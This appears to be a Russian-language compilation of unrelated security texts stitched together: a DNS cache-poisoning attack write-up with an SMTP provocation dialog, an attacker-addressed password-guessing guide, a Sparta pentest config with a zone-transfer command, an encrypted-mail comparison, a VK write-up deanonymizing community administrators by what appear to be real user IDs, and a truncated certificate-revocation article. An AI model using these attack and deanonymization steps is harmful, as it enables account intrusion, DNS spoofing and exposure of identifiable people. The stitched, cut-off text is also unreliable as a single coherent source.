Являясь одним из основных элементов инфраструктуры IP-сетей, служба доменных имен (DNS) в то же время далеко неидеальна с точки зрения информационной безопасности. Применение транспортного протокола без установления виртуального канала (UDP), отсутствие встроенных средств идентификации, аутентификации и разграничения доступа делают ее уязвимой для удаленных атак различных типов. В данной статье рассматривается межсегментная удаленная атака на DNS-сервер, не требующая выполнения каких либо жестких условий и допускающая эффективную практическую реализацию. 1. DNS с высоты птичьего полета Служба доменных имен представляет собой распределенную базу данных, основным содержанием которой является информация о соответствии символических имен сетевых объектов их IP-адресам. DNS организована по иерархическому принципу. Структурной единицей этой базы является домен (domain), который в свою очередь может содержать другие домены (поддомены). Первичным источником информации о каждом домене является ответственный за данный домен DNS-сервер (на самом деле их может быть несколько). Ответственность за часть доменной информации (поддомены) может быть делегирована другим серверам. Клиентская часть DNS называется резолвером (resolver), доступ к которому прикладные программы получают через API операционной системы. При взаимодействии резолвера с сервером в качестве транспортного протокола используется UDP, не предусматривающий формирования виртуального канала. Запросы, генерируемые резолвером, являются рекурсивными, т.е. в качестве ответа на такой запрос возвращается либо искомая информация, либо сообщение о ее отсутствии. Получив запрос от резолвера, сервер либо сразу же возвращает ответ (при условии наличия искомой информации в локальной базе), либо формирует запрос к другому серверу. Этот запрос обычно является итеративным и, в отличие от рекурсивного, допускает ответ в виде ссылки на другой сервер, который лучше осведомлен о месте расположения искомой информации. В общем случае поиск начинается с корневого сервера, который возвращает информацию о серверах, ответственных за домены верхнего уровня, после чего формируется новый итеративный запрос к одному из этих серверов и т.д. Результатом такой цепочки вопросов-ответов является либо получение искомой информации, либо вывод о ее отсутствии, после чего полученный ответ возвращается резолверу. Вся накопленная сервером в процессе работы информация кэшируется с целью ускорения обслуживания последующих запросов и минимизации сетевого трафика. 2. Межсегментная удаленная атака на DNS-сервер Возможность атаки на DNS путем фальсификации ответа DNS-сервера известна довольно давно (см., например, Медведовский И.Д., Семьянов П.В., Платонов В.В. Атака через Internet. — СПб.: «Мир и семья-95», 1997.). Объектом атаки может являться как резолвер, так и DNS-сервер. Причины успеха подобных атак кроются в легкости подделки ответа сервера. Протоколы DNS, используемые в настоящее время, не предусматривают каких либо средств проверки аутентичности полученных данных и их источника, полностью полагаясь в этом на нижележащие протоколы транспортного уровня. Используемый транспортный протокол (UDP) с целью повышения эффективности не предусматривает установления виртуального канала и использует в качестве идентификатора источника сообщения IP-адрес, который может быть элементарно подделан. При наличии у атакующего возможности перехвата сообщений, которыми обмениваются клиент и сервер (внутрисегментная атака) реализация атаки не представляет каких либо трудностей. Однако этот вариант не представляет и значительного практического интереса, поскольку возможность внутрисегментной атаки предполагает наличие определенного взаимного расположения клиента, сервера и хоста атакующего (например, атакующий и целевой DNS-сервер разделяют общую физическую среду передачи), что на практике реализуется довольно редко. Значительно более общим случаем является межсегментная атака, не требующая для своей реализации столь жестких условий. По этой причине мы остановимся на рассмотрении именно этого класса удаленных атак, представляющих как академический, так и практический интерес. Межсегментная атака на DNS-сервер выглядит следующим образом. Предположим для определенности, что целью атаки является «подмена» IP-адреса web-сервера www.coolsite.com на IP-адрес сервера www.badsite.com для пользователей некоторой подсети, которую обслуживает DNS-сервер ns.victim.com. В первой фазе атаки ns.victim.com провоцируется на поиск информации о IP-адресе www.coolsite.com путем посылки ему соответствующего рекурсивного запроса. Во второй фазе атакующий посылает серверу ns.victim.com ложный ответ от имени ns.coolsite.com, который является ответственным за домен coolsite.com. В ложном ответе вместо реального IP-адреса www.coolsite.com указывается IP-адресwww.badsite.com. Сервер ns.victim.com кэширует полученную информацию, в результате чего в течении определенного промежутка времени (величина этого промежутка указывается в поле TTL ложного ответа и может произвольно выбираться атакующим) ничего не подозревающие пользователи вместо сервера www.coolsite.com попадают наwww.badsite.com. Для того, чтобы ложный ответ был воспринят сервером ns.victim.com как истинный, достаточно выполнения четырех условий: IP адрес отправителя ответа должен соответствовать IP-адресу запрашиваемого сервера (в нашем случае ns.coolsite.com); UDP-порт, на который направляется ответ, должен совпадать с портом, с которого был послан запрос; идентификатор ответа должен совпадать с идентификатором запроса; ответ должен содержать запрашиваемую информацию (в нашем случае IP-адрес web-сервера www.coolsite.com). Очевидно, что выполнение первого и четвертого условий не представляет для атакующего особых трудностей. Со вторым и третьим условиями ситуация намного сложнее, поскольку в случае межсегментной атаки у атакующего нет возможности перехватить исходный запрос и «подсмотреть» необходимые параметры. Большинство используемых в настоящее время реализаций DNS-сервера (BIND4, MS DNS) используют для исходящих запросов 53 порт, так что можно «на удачу» послать ложный ответ на этот порт. Однако данный метод будет срабатывать не всегда, поскольку, например, BIND8 может использовать для исходящих запросов любой случайно выбранный непривилегированный порт. Идентификатор (id) запроса представляет собой двухбайтовое число, указываемое сервером в запросе с целью однозначной идентификации ответа на данный запрос. Это число инкрементируется с каждым новым запросом. Незнание текущего значения идентификатора приводит к необходимости посылки множества ложных ответов с различными значениями id. Именно это обстоятельство делает практическую реализацию данной атаки очень трудноосуществимой. Действительно, ложный ответ должен быть получен целевым сервером в промежуток времени с момента посылки запроса и до момента прихода ответа от настоящего сервера, что на практике составляет не более нескольких секунд. За этот интервал времени атакующему необходимо послать 216 ложных ответов со всеми возможными значениями id, а в случае незнания порта эта цифра увеличивается еще в несколько десятков раз. Поскольку размер IP-пакета, содержащего ложный ответ, составляет около 100 байт, то перед атакующим ставится задача пересылки нескольких мегабайт информации за несколько секунд, что в подавляющем большинстве случаев неосуществимо. 3. Метод определения номера порта и текущего идентификатора запроса При выполнении дополнительного условия даже в случае межсегментной атаки у атакующего есть возможность определения текущего id запроса и номера порта. Таким условием является наличие контролируемого атакующим DNS-сервера, ответственного за любой домен. Контроль над сервером в данном контексте означает возможность перехвата всех запросов, адресованных данному серверу. Это возможно либо если атакующий непосредственно владеет сервером (является его администратором), либо разделяет с ним общую физическую среду передачи (в случае ethernet это означает нахождение в одном коллизионном домене). Очевидно, что данное условие не является слишком жестким, поскольку нахождение в одном коллизионном домене с DNS-сервером достаточно типично для многих пользователей корпоративных сетей. При наличии контролируемого сервера описанная атака может быть модифицирована следующим образом. Предположим для определенности, что атакующий контролирует сервер ns.hacker.com, ответственный за домен hacker.com. В первой фазе атаки мы провоцируем сервер ns.victim.com на обращение к ns.hacker.com путем посылки рекурсивного запроса на поиск информации о любом имени (не обязательно реальном) в домене hacker.com. Поскольку ns.hacker.com находится под контролем атакующего, он может перехватить этот запрос и извлечь из него информацию о номере порта и текущем id. Последующие две фазы атаки не отличаются от описанных, с той лишь разницей, что теперь атакующему достаточно послать всего несколько ложных ответов, поскольку он точно знает номер порта и может с высокой степенью точности предсказать значение идентификатора запроса к ns.coolsite.com. 4. Метод косвенной провокации Очевидно, что необходимым условием успешности описанной атаки является возможность посылки рекурсивных запросов целевому серверу, провоцирующих его на обращение к другим серверам с целью поиска запрашиваемой информации. В принципе, существует возможность настроить DNS-сервер таким образом, что он будет принимать рекурсивные запросы только от «своих» клиентов (хостов, резолверы которых настроены на использование данного сервера). В этом случае осуществление атаки становится невозможным. С целью обхода этого ограничения можно предложить простой метод, который условно назовем «косвенной провокацией». Основная идея этого метода заключается в использовании любого общедоступного сервиса, являющегося клиентом целевого DNS-сервера, для формирования необходимого провоцирующего запроса. Наиболее подходящим кандидатом представляется общедоступный сервер электронной почты, который по определению должен принимать соединения с любого компьютера Internet. Предположим, что резолвер компьютера mail.victim.com настроен на использование сервера ns.victim.com, причем последний принимает рекурсивные запросы только от домена victim.com. Приведенный ниже SMTP-диалог провоцирует ns.victim.com на поиск информации о имени any-name.any-domain.com: $ telnet mail.victim.com 25 Trying... Connected to mail.victim.com. Escape character is '^]'. 220 mail.victim.com ESMTP Sendmail 8.8.0/8.8.0; Wed, 5 May 1999 21:30:42 helo I.am.cracker 250 mail.victim.com Hello crack.hacker.com [1.1.1.1], pleased to meet you mail from: [email protected] 250 [email protected]… Sender ok quit 221 mail.victim.com closing connection Connection closed. Таким образом, применение метода «косвенной провокации» позволяет осуществить атаку без прямой посылки запросов целевому DNS-серверу. 5. Как возникают эпидемии В обычных условия успешная атака приводит к «заражению» кэша конкретного сервера и область распространения ложной информации ограничивается только его клиентами. Однако при наличии ситуации «некорректного делегирования» (lame delegation), возникающей из-за ошибок администрирования, возможно распространение ложной информации на другие сервера, что приведет к глобальному «заражению». Под некорректным делегированием понимается ситуация, когда ответственность за домен делегируется серверу, не обладающему локальной копией доменной информации. Это приводит к тому, что в ответ на итеративные запросы других серверов вместо искомой информации он возвращает ссылки на другие сервера (иногда и на себя), которые, с точки зрения данного сервера, располагают нужными сведениями. Рассмотрим ситуацию, когда для домена victim.com существуют два ответственных сервера — ns.victim.com и ns2.victim.com, причем для ns2.victim.com делегирование выполнено некорректно. Применяя описанные методы, атакующий может «заразить» кэш сервера ns2.victim.com ложной информацией о именах в домене victim.com, например, подменить IP-адрес web-сервера www.victim.com на IP-адрес www.very-bad-site.com. Поскольку ns2.victim.com считается ответственным за домен victim.com, другие сервера в Internet будут обращаться к нему за информацией о именах в этом домене. Не располагая локальной копией доменной информации о victim.com, данный сервер будет возвращать в ответ ранее кэшированную ложную информацию, приводя к «заражению» всех обратившихся к нему серверов. Неприятной особенностью данного сценария является невозможность быстрой ликвидации последствий атаки, поскольку ложная информация будет находиться в кэшах тысяч серверов до истечения времени жизни, которое атакующий может выбрать очень большим. 6. Реализация и полевые испытания Программа, реализующая атаку на DNS-сервер с использованием контролируемого сервера, стала доступна в Internet примерно в феврале 1999 года. К счастью, использование этой программы не сводится к вводу в окошко IP-адреса целевого сервера и нажатию кнопки «Infect It!», а требует достаточно глубокого понимания принципов работы DNS, что сразу же отсеивает 99% потенциальных пользователей. Кроме того, в известной автору реализации сделано далеко не все для повышения вероятности успеха атаки. С целью обеспечения чистоты эксперимента «полевые испытания» были проведены на трех неподконтрольных автору корпоративных сетях. Естественно, администраторы этих сетей были поставлены в известность и не возражали против проведения эксперимента. Как это ни печально, во всех трех случаях атака была успешной. Диапазон целей, которые могут быть достигнуты при помощи атаки на DNS, простирается от «отказа в обслуживании» и подмены web-сайтов до перехвата сообщений электронной почты и полного контроля над информацией, передаваемой между произвольно выбранными хостами Internet. При всем этом атакующий практически не оставляет следов, поскольку ему нет необходимости посылать провоцирующие запросы и ложные ответы с собственного IP-адреса. 7. Взгляд с другой стороны баррикады По мнению автора, в настоящее время единственным надежным средством противодействия описанной атаке является использование стандартизированных в RFC2065 расширенных протоколов DNS, предусматривающих применение криптографических методов аутентификации доменной информации и субъектов сетевого взаимодействия. Базовая поддержка этого стандарта уже включена в текущую версию BIND8. К сожалению, желаемый результат может дать только широкомасштабное внедрение новых протоколов, которое сопряжено со значительными организационными трудностями и не может быть проведено за короткое время. Несколько затруднить осуществление атаки может запрет на обслуживание DNS-сервером рекурсивных запросов, поступающих не от «своих» клиентов. Это может быть сделано как средствами самого сервера (например, BIND8 обладает такими возможностями), так и средствами межсетевого экрана. Следует обратить внимание на настройку «антиспуффинговых» правил фильтрации на межсетевом экране, поскольку атакующий в качестве IP-адреса отправителя запроса может указать любой адрес, в том числе и легального клиента. При использовании данного метода не следует забывать, что подобная защита может быть достаточно легко преодолена использованием описанного метода косвенной провокации. Заключение В отличие от уже набивших оскомину атак, использующих «дыры» в конкретных реализациях сетевых сервисов, ошибки администрирования или методы «социальной инженерии», атака на DNS представляется автору очень изящной. В то же время по характеру и масштабности результатов данная атака вполне может быть причислена к информационному оружию массового поражения. Отсутствие адекватных средств защиты, очень слабо выраженные следы и трудность устранения последствий атаки еще больше усугубляют ситуацию. Несколько удивляет тот факт, что данная удаленная атака широко не применяется взломщиками (по крайней мере, автор не располагает такой информацией). Вполне возможно, это объясняется просто недостаточной квалификацией подавляющего числа людей, называющих себя хакерами. Сетевым администраторам остается только надеяться, что уязвимость протоколов DNS к данной атаке будет устранена прежде, чем они почувствуют на себе ее последствия.

1) Попытайся залогиниться без пароля. Просто нажми. Если это не работает, залогинься с паролем. 2) 5% компьютеров используют пароль такой же, как и логин. Например, если логин domain, значит ипароль тоже domain. Идиотизм, да? Попытайся залогиниться, используя логин такой же, как и пароль. 3) Примерно 35% компьютеров используют пароль, вторичный от логина. Обычно ты переберешь около 1000 комбинаций, чтобы найти правильный. Например, если логин JQPublic, попытайся Public, John, JohnQPub, и т.д. 4) В 3-ем варианте ты использовал грубый метод подбора пароля. Достань лучше академический словарь слов и имен. Там приблизительно около 30.000 возможных. Быстрая атака заложена в этом методе (приблизительно 800 слов/мин). 5) Сейчас попытайся использовать лист с английскими словами. Там где-то 150.000 слов таких, как оригинальные или известные имена стандартных слов, научные термины, другие языки и т.д. 6) Если это не сработает, время найти специалиста по этим делам. Используй национальный словарь и лист c образцами. Там около 2.500.000 комбинаций. Там есть все, даже игры! Но перебор займет очень много времени. Будь уверен, что ты используешь это не на перегруженном сервере. Если он будет медленным или перегруженным, ты будешь в глубокой жопе. 7) О боже, еще не заработало? Попытайся использовать тот же словарь, только с фильтром. Я имею ввиду, допустим, слово Secret может быть, как SeCrEt, Secr3t, и т.д. Тут больше 1.000.000.000 комбинаций. 8) Используй английский словарь с фильтрами. Похоже, как и в 7-ом методе, но со всеми анклийскими словами. 9) Еще не заработало??? Если ты проделал все выше описанные действия безрезультатно, то возможно ты имеешь дело с чем-то серьезным. Наверняка, система содержит чрезвычайно секретную информацию. Ты действительно хочешь продолжить? Возможно, ты уже в глубокой жопе, если не можешь получить доступа. Используй национальный словарь с фильтрами. Там более 250.000.000 комбинаций. Тебе потребуется около 18 часов, чтобы закончить этот метод. Работай, дружок, работай. 10) Используй специальную программку (такую, как Brutus или Cain&Abel). Она тупо подбирает всевозможные буквы, цифры и другие символы. Никто еще не заканчивал это удачно (обламывало подбирать). Там более 205.000.000.000 возможных комбинаций. Если ты не хочешь заниматься этим, выбери другую мишень.

При проведении тестирования на проникновение важным этапом является начальный сбор информации об объектах аудита и их взаимодействии. Для этого необходимо составить карту инфраструктуры, используя различные инструменты и утилиты, получая разрозненный материал для дальнейшего анализа. Сегодня я рассмотрю фреймворк Sparta, который объединяет в себе базовый инструментарий для сбора и анализа информации при проведении тестирования на проникновение. Sparta – это инструмент для проведения тестирования на проникновение, написанный на Python, который призван сфокусировать внимание пентестера на анализе найденных уязвимостей, а не на командах и синтаксисе. Sparta предоставляет удобный графический интерфейс, который выглядит как центр управления инструментами сканирования, брутфорса, сканерами уязвимостей и прочими. Инструмент Sparta входит в стандартный пакет утилит Kali Linux и готова к использованию сразу после установки дистрибутива. Официальные сайты: <a href="https://github.com/S...CFORCE/sparta/" style="color: rgb(153, 0, 153); text-decoration: none; background-color: transparent;">https://github.com/SECFORCE/sparta/ http://sparta.secforce.com/ Функционал Проводит обнаружение хостов и сервисов в сети при помощи nmap или позволяет загрузить результат сканирования nmap формата XML. Проверяет учетные данные на стандартные и словарные значения (словари /usr/share/sparta/wordlists). Обнаруживает уязвимости при помощи популярных сканеров уязвимостей (nikto). Делает скриншоты найденных веб-сайтов. Позволяет настроить поведение Sparta в отношении любых сервисов (какие инструменты запускать против каких сервисов и с какими параметрами). Позволяет отметить хосты, информация о которых нам не интересна, чтобы не тратить на них время. Настройка Те читатели, кто хочет просто познакомиться с работой программы, может пропустить этот раздел, т.к. инструмент Sparta, установленный в Kali Linux готов к использованию в базовой конфигурации. Настройки Sparta содержатся в следующих файлах: /etc/sparta.conf /usr/share/sparta/sparta.conf /var/lib/dpkg/info/sparta.conffiles Sparta проверяет их наличие, если файлов нет, то создает новый. Разработчики обещают когда-нибудь сделать возможным настройку инструмента из графического интерфейса, но на данный момент редактировать файлы придется в ручном режиме. Файл содержит список параметров, разделенных на группы General Settings, Brute Settings, StagedNmapSettings и т.д. Разработчики не рекомендуют удалять какие-либо строки из файла конфигурации, т.к. это может нарушить работу программы. Группы ToolSettings, HostActions, PortActions и PortTerminalActions отвечают за настройку опций, доступных по правому клику. Группа SchedulerSettings отвечает за автоматический запуск инструментов в отношении найденных сервисов. Для примера добавим инструмент dig для сервиса UDP/TCP 53 порта с ключом -t axfr для выполнения трансфера зоны. Так как данный инструмент работает с сервисом, а не с хостом, то группой, которую нам нужно заполнить, будет PortActions. Нам необходимо выполнить следующую команду в отношении найденного DNS сервера # dig -t axfr ИМЯ_ДОМЕНА @DNS_IP Sparta имеет специальные конструкции, такие как [PORT] и [iP] позволяющие доставить в наш инструмент порт сервиса, который мы атакует и IP адрес хоста. Но нам нужно узнать доменное имя. Для воспользуемся следующей конструкцией $(dig -x [iP] +short @[iP] | head -n 1 | cut -d '.' -f 2-3) Таким образом, в группу PortActions попадает следующая строка, по аналогии с уже имеющимися в файле. [PortActions] dig-axfr=Try Zone Transfer, bash -c "dig -t axfr $(dig -x [iP] +short @[iP] | head -n 1 | cut -d '.' -f2-3) @[iP]""

Константин Докучаев, рассказаk о двух почтовых сервисах: Tutanota и ProtonMail и объяснил, какой из них выбрать и почему. Сегодня уже не так часто услышишь о важности частной переписки, о методах её защиты и шифровании переписки. Но я всё равно решил взглянуть на два популярных почтовых сервиса с end-to-end шифрованием: Tutanota и ProtonMail. Они предлагают безопасную переписку с шифрованием всех писем. Давайте разберём подробно, что дают оба сервиса, и стоит ли прятать свою переписку от ФСБ или других спецслужб и конкурентов. Tutanota <a href="https://tutanota.com/" style="color: rgb(153, 0, 153); text-decoration: none; font-family: Verdana, sans-serif; line-height: 22.3999996185303px;">Tutanota — бесплатный почтовый сервис от немцев, который предоставляет шифрование почтовой переписки для своих клиентов. Плюсы: Русскоязычный интерфейс. Простая регистрация. Бесплатный тариф. Веб-версия, iOS и Android. Возможность развернуть сервер на своём домене. Минусы: В бесплатном аккаунте только 1 Гб хранилища. Нет поддержки облачных хранилищ. Нет двухфакторной аутентификации. Нет возможности получения почты по IMAP сторонними клиентами. Регистрация в сервисе гораздо проще, чем в обычных почтовых провайдерах. От вас потребуется лишь выбрать имя почтового ящика и указать пароль, после чего сразу же можно начать пользоваться своей новой защищённой почтой. Как видно из скриншота ниже, Tutanota не обладает красочным интерфейсом. Но не это здесь главное. Как и в любом почтовом сервисе, здесь есть стандартное распределение писем по папкам: Входящие, Черновики, Отправленные, Корзина, Архив и Спам. При создании нового письма или ответе на полученное, вы также найдёте все стандартные функции: пересылку, скрытых адресатов и прочее. Ещё можно прикреплять файлы к письмам. Для входящих писем можете настроить правила фильтрации. Из интересных вещей в Tutanota стоить отметить возможность прикрепления нескольких псевдонимов к одному почтовому ящику. Правда, такая возможность есть только в платной версии сервиса. Максимальное ограничение на письмо с учётом вложений составляет 25 Мб. О безопасности Как и большинство сервисов, борющихся за безопасность, Tutanota выложили свой исходный код на Github. Поэтому сообщество разработчиков может самостоятельно проверить код сервиса на «закладки» и прочие небезопасные штуки. Шифровка и дешифровка данных всегда происходит локально на устройства при авторизации в сервисе. В качестве ключа шифрования используется ваш пароль. Поэтому его не стоит забывать, так как даже разработчики не в состоянии помочь его вспомнить. Исключение составляет корпоративная версия Tutanota. В ней администратор домена может сбросить пароли пользователей. Вся переписка шифруется end-to-end и не передаётся никаким третьим лицам. Шифрованию подвергаются сами письма: тема, содержимое, вложения и список контактов. Tutanota имеют доступ лишь к метаданным письма, таким как отправитель, получатель и дата письма. Что, в принципе, понятно, но разработчики обещают в будущем полное шифрование писем. Шифрование писем при отправке между пользователями Tutanota происходит при помощи стандартизированных алгоритмов AES с ключом шифрования 128 бит и RSA с 2048 бит. Письма в сторонние сервисы шифруются при помощи AES 128 бит. Алгоритм шифрования наглядно показан на картинке ниже, где отображена отправка и получение писем внутри и вне сервиса. Отправить письмо в другой почтовый сервис можно двумя способами: защищённым и нет. Поговорим о защищенном способе. Для отправки таких писем вам нужно обменяться с получателем уникальным паролем, которым будет зашифрована вся ваша переписка. Это можно сделать через любой сторонний сервис или устно. После первой отправки письма и ввода пароля получателем, ключ шифрования сохраняется в вашей адресной книге и про него можно забыть. Вся почта автоматически будет шифроваться. Такие письма нельзя просмотреть в стандартных почтовых клиентах. Получателю придёт ссылка, по которой он сможет получить доступ к письму в браузере компьютера или смартфона. Сервера Tutanota находятся в Германии, а значит, сервис подчиняется законам этой страны. Но в любом случае раскрыть переписку разработчики не могут. Как я говорил выше, вся переписка шифруется локально и третья сторона не может получить к ней доступ. Анонимность сервиса заметна уже на этапе регистрации, где от вас не требуется никаких личных данных. IP-адреса не хранятся сервисом и обрезаются при отправке писем. Таким образом, ваше местоположение постоянно скрыто. За премиум-возможности можно заплатить анонимной валютой Bitcoin. Конечно, сервис ведёт технические логи для обработки ошибок. Но они хранятся 14 дней и не содержат никакой личной информации о пользователе. ProtonMail Теперь поговорим о более известном сервисе для защищённого обмена почтой ProtonMail. Плюсы: Веб-интерфейс и мобильные приложения. Двухфакторная аутентификация. Тонкие настройки внешнего вида. Настройки безопасности. Шифрование при помощи PGP. Минусы: Нет русского языка. В бесплатной версии доступно лишь 150 сообщений в день. В бесплатной версии 500 Мб хранилища. Ограничения расширяются, но остаются даже в платной версии (есть тарифный план без ограничений). В ProtonMail при регистрации не запрашиваются никакие личные данные. От вас требуется выбрать имя для почты и указать пароль, при помощи которого будут шифроваться письма. Необязательным полем является дополнительный адрес почты, на который можно будет восстановить пароль. Во время процесса регистрации генерируются ключи шифрования, а по окончании появляется капча, чтобы убедиться в вашей человечности. Интерфейс ProtonMail менее аскетичный, чем у своего собрата. Здесь, кроме стандартных почтовых функций, можно найти и такие уже привычные вещи, как звёздочки для избранных писем и ярлыки. Интерфейс можно настроить под себя и изменить отображение писем с горизонтального на вертикальное. Письма можно сортировать по различным параметрам. Например, по дате или объёму. Кроме этого, разработчики предусмотрели поиск по почте. В целом ProtonMail больше похож на привычные нам почтовые сервисы, и по своим функциям он не уступает конкурентам. Перемещение писем, просмотр «тела» письма, удобное форматирование и многое другое. В настройках сервиса вы можете включить двухфакторную аутентификацию, отключить возможность восстановления пароля и настроить уровень логирования. О безопасности Все данные, передаваемые через сервис, защищены шифрованием. «Тело» и вложения письма зашифрованы end-to-end, но тема письма не защищена. Это сделано из-за того, что разработчики используют PGP-алгоритм, который зависит от стандартов передачи данных по протоколу SMTP. Разработчики пошли на эту уступку, чтобы не ограничивать шифрование писем только между клиентами сервиса. PGP-алгоритм позволяет пользоваться перепиской независимо от используемого почтового клиента. Для отправки писем вне сервиса вы можете использовать защищённый метод и незащищённый. В первом случае ваши письма остаются зашифрованными end-to-end. Во втором для отправки писем будет использоваться метод шифрования TLS, который поддерживает большинство популярных почтовых сервисов. Однако в этом случае у третьих лиц появляется возможность получения доступа к вашей переписке. При этом вся почта внутри ProtonMail недоступна третьим лицам независимо от метода отправки писем. Сервера ProtonMail находятся в Швейцарии и разработчик подчиняется законам этой страны. При законном запросе от суда разработчики в состоянии предоставить тему всех писем. Так как вся инфраструктура сервиса базируется на работе с алгоритмом PGP, на сайте разработчика не описаны конкретные характеристики шифрования. Но Википедия всё знает: «Шифрование PGP осуществляется последовательно хешированием, сжатием данных, шифрованием с симметричным ключом, и, наконец, шифрованием с открытым ключом, причём каждый этап может осуществляться одним из нескольких поддерживаемых алгоритмов. Симметричное шифрование производится с использованием одного из семи симметричных алгоритмов (AES, CAST5, 3DES, IDEA, Twofish, Blowfish, Camellia) на сеансовом ключе. Сеансовый ключ генерируется с использованием криптографически стойкого генератора псевдослучайных чисел. Сеансовый ключ зашифровывается открытым ключом получателя с использованием алгоритмов RSA или Elgamal (в зависимости от типа ключа получателя). Каждый открытый ключ соответствует имени пользователя или адресу электронной почты. Первая версия системы называлась Сеть Доверия и противопоставлялась системе X.509, которая использовала иерархический подход и была основана на удостоверяющих центрах, добавленный в PGP позже. Современные версии PGP включают оба способа» Какой сервис выбрать? Оба сервиса показывают себя как отличные решения для защиты частной почтовой переписки, и выбрать можно любой из них. В качестве основных параметров выбора остаются цена и совместимость с другими почтовыми клиентами. Более дешёвый вариант — Tutanota. Но есть несколько главных минусов. Первый: вы не сможете пользоваться сторонними почтовыми клиентами. Второй: получатели ваших писем в сторонних сервисах будут вынуждены читать переписку в браузере с вводом пароля. ProtonMail — своего рода шифрованная почта для «домохозяек». Минус: цена. Скорее всего, вам придётся оплатить подписку на сервис. С другой стороны, вы получите возможность «бесшовной» переписки со всем миром независимо от почтового провайдера или клиента.

Все описанные способы были отправлены «Вконтакте» через hackerone, но «Вконтакте» решили, что эти способы не являются проблемами. Решение было принято через 6 месяцев после изменения статуса репорта на «Triaged». Я пытался переубедить, но ответа не увидел. Многие продемонстрированные ссылки у вас работать не будут, т. к. они разные для всех. Деанонимизация руководителей сообществ Через видеозаписи При ограниченном доступе добавлять новые видеозаписи могут только редакторы и администраторы сообщества. На странице видеозаписей сообщества есть вкладка «Загруженные», в которой отображаются только видео, загруженные с компьютера. Если видеозаписи сообщества ограничены, то во вкладке «Загруженные» отображаются видеозаписи, которые загрузили руководители. Проблема в том, что прямые ссылки на видеозаписи содержат идентификатор загрузчика. Посмотрев идентификаторы можно деанонимизировать руководителей. Пример на созданном сообществе: <a href="https://vk.com/club143400909" style="color: rgb(153, 0, 153); text-decoration: none; font-family: Verdana, sans-serif; line-height: 22.3999996185303px;">vk.com/club143400909 Вытягиваем прямую ссылку или hls-поток на видеозапись: vk.com/video-143400909_456239017 Прямая ссылка: cs632300.userapi.com/4/u237115941/videos/5115525024.240.mp4 Hls-поток: cs632300.userapi.com/video/hls/4/u237115941/videos/5115525024/index-f1-v1-a1.m3u8 Видим, что руководитель — vk.com/id237115941 Пример на сообществе: vk.com/meduzaproject (они разрешили) Видеозапись: vk.com/video-76982440_456239236 Прямая ссылка: cs632603.userapi.com/1/u1564856/videos/84c5da2b5a.240.mp4 Руководитель: vk.com/id1564856 Видеозапись: vk.com/video-76982440_456239231 Прямая ссылка: cs632606.userapi.com/3/u464017/videos/7ec04da5ac.240.mp4 Руководитель: vk.com/id464017 Всего по всем видеозаписям было найдено 4 руководителя Также есть возможность деанонимизировать руководителя по обложке от видео с другого источника (youtube, rutube и др.). В ссылке на обложку содержится идентификатор первого загрузчика этого видео на vk.com, т. е. этим способом можно деанонимизировать только зная, что видео загрузил руководитель и он был первый. Это может быть результат конкурса или что-то еще. Видео: vk.com/video-143400909_456239018 Ссылка на обложку: pp.userapi.com/c836123/u237115941/video/l_5881cb5e.jpg Видим, что руководитель vk.com/id237115941 Через аудиозаписи Проблема в том же. Прямая ссылка на аудиозапись содержит идентификатор загрузчика. Нигде не отображается, добавлена аудиозапись из поиска или загружена с компьютера, поэтому этим способом можно деанонимизировать только зная, что аудиозапись загрузил руководитель. Такие аудиозаписи могут выделяться (запись эфира с радио и т. п.). Аудиозапись в сообществе vk.com/club143400909: Мелодии – Карело-финская полька Прямая ссылка: psv4.userapi.com/c815220/u237115941/audios/eb9137fb510b.mp3 Видим, что руководитель vk.com/id237115941 Пример на сообществе vk.com/meduzaproject Аудиозапись: «Медуза» – Как узнать, сколько стоят «фужеры» Собянина? Прямая ссылка: psv4.userapi.com/c613316/u1564856/audios/1cb08ff13792.mp3 Руководитель: vk.com/id1564856 Через документы Прямая ссылка на документ содержит идентификатор загрузчика. Зная, что документ загрузил руководитель можно деанонимизировать. Многие загружают информацию о проводимых конкурсах, правила группы. Пример на созданном сообществе vk.com/club143400909 Документ: 1.ts Прямая ссылка: cs7064.userapi.com/c812339/u237115941/docs/c134bbccadba/1.ts Если документ является изображением, то можно деанонимизировать по маленькой копии. Документ: G.png Ссылка на маленькую копию: pp.userapi.com/c812235/u237115941/-3/m_56c1679b77.jpg Видим, что руководитель vk.com/id237115941 По концу идентификатора Этот способ можно комбинировать с другими способами. Прямая ссылка на загруженное изображение содержит конец идентификатора загрузчика. Можно получить список всех участников сообщества и отобрать тех, у кого конец совпадает. Если сообщество маленькое, то скорее всего в результате будет 1 страница, если большое, то несколько, но там точно будет руководитель. Также можно деанонимизировать автора записи, если в записи есть загруженное изображение. Если сообщество большое и в результате отбора много идентификаторов, то можно получить список нажавших «мне нравится» записи и отобрать (вдруг автор нажал). Прямая ссылка на фотографию группы: pp.userapi.com/c836123/v836123941/2362f/5TA-jc1s8Q0.jpg Конец идентификатора: 941 Руководитель сообщества vk.com/id237115941 Прямая ссылка на обложку сообщества vk.com/meduzaproject: cs7064.userapi.com/c639129/v639129017/92f9/itZoAG-k1GQ.jpg Конец идентификатора: 017 Руководитель: vk.com/id464017 Деанонимизация главного администратора приложения В настройках приложения можно загружать иконку приложения 16x16, которая после загрузки получает ссылку, в которой присутствует идентификатор страницы администратора. В ссылке на иконку всегда отображается идентификатор главного администратора, даже если иконку загрузил неглавный администратор, а другой пользователь-руководитель с правами. Также раскрыв администратора приложения, вы еще раскрываете руководителя сообщества приложения, т. к. группу в настройках приложения можно установить, если являешься в ней руководителем.

Что делать, если у вашего сервера утёк закрытый ключ? Вопрос, ставший особенно актуальным после Heartbleed. Последовательность действий, сразу приходящая в голову: Связаться с удостоверяющим центром. Отозвать сертификат сервера. Перегенерировать ключи. Запросить для сервера новый сертификат. Поднять бокал за успех операции и попытаться жить дальше. К сожалению, всё не так просто. В этой и следующей статьях мы подробно ответим на следующие вопросы: Какие механизмы проверки статуса сертификатов бывают? Как они реализованы в современных Веб-браузерах? Кто виноват? Почему они реализованы именно так? Что делать? Какие есть перспективы? Эта статья будет полезна тем, кому интересно разобраться в применяющихся на практике механизмах проверки статуса сертификатов (проверки, является ли сертификат отозванным). Кратко о протоколе TLS и инфраструктуре открытых ключей X.509 Современный защищённый Веб стоит на двух китах: <a href="https://tools.ietf.o...g/html/rfc5246" style="color: rgb(153, 0, 153); text-decoration: none; font-family: Verdana, sans-serif; line-height: 22.3999996185303px;">протоколе TLS и инфраструктуре открытых ключей X.509. Для установки защищённого TLS-соединения сервер должен передать клиенту свой открытый ключ. Аутентичность ключа сервера, пересылаемого через незащищённые публичные сети, обеспечивается цепочкой сертификатов открытых ключей инфраструктуры X.509. Удостоверяющий центр 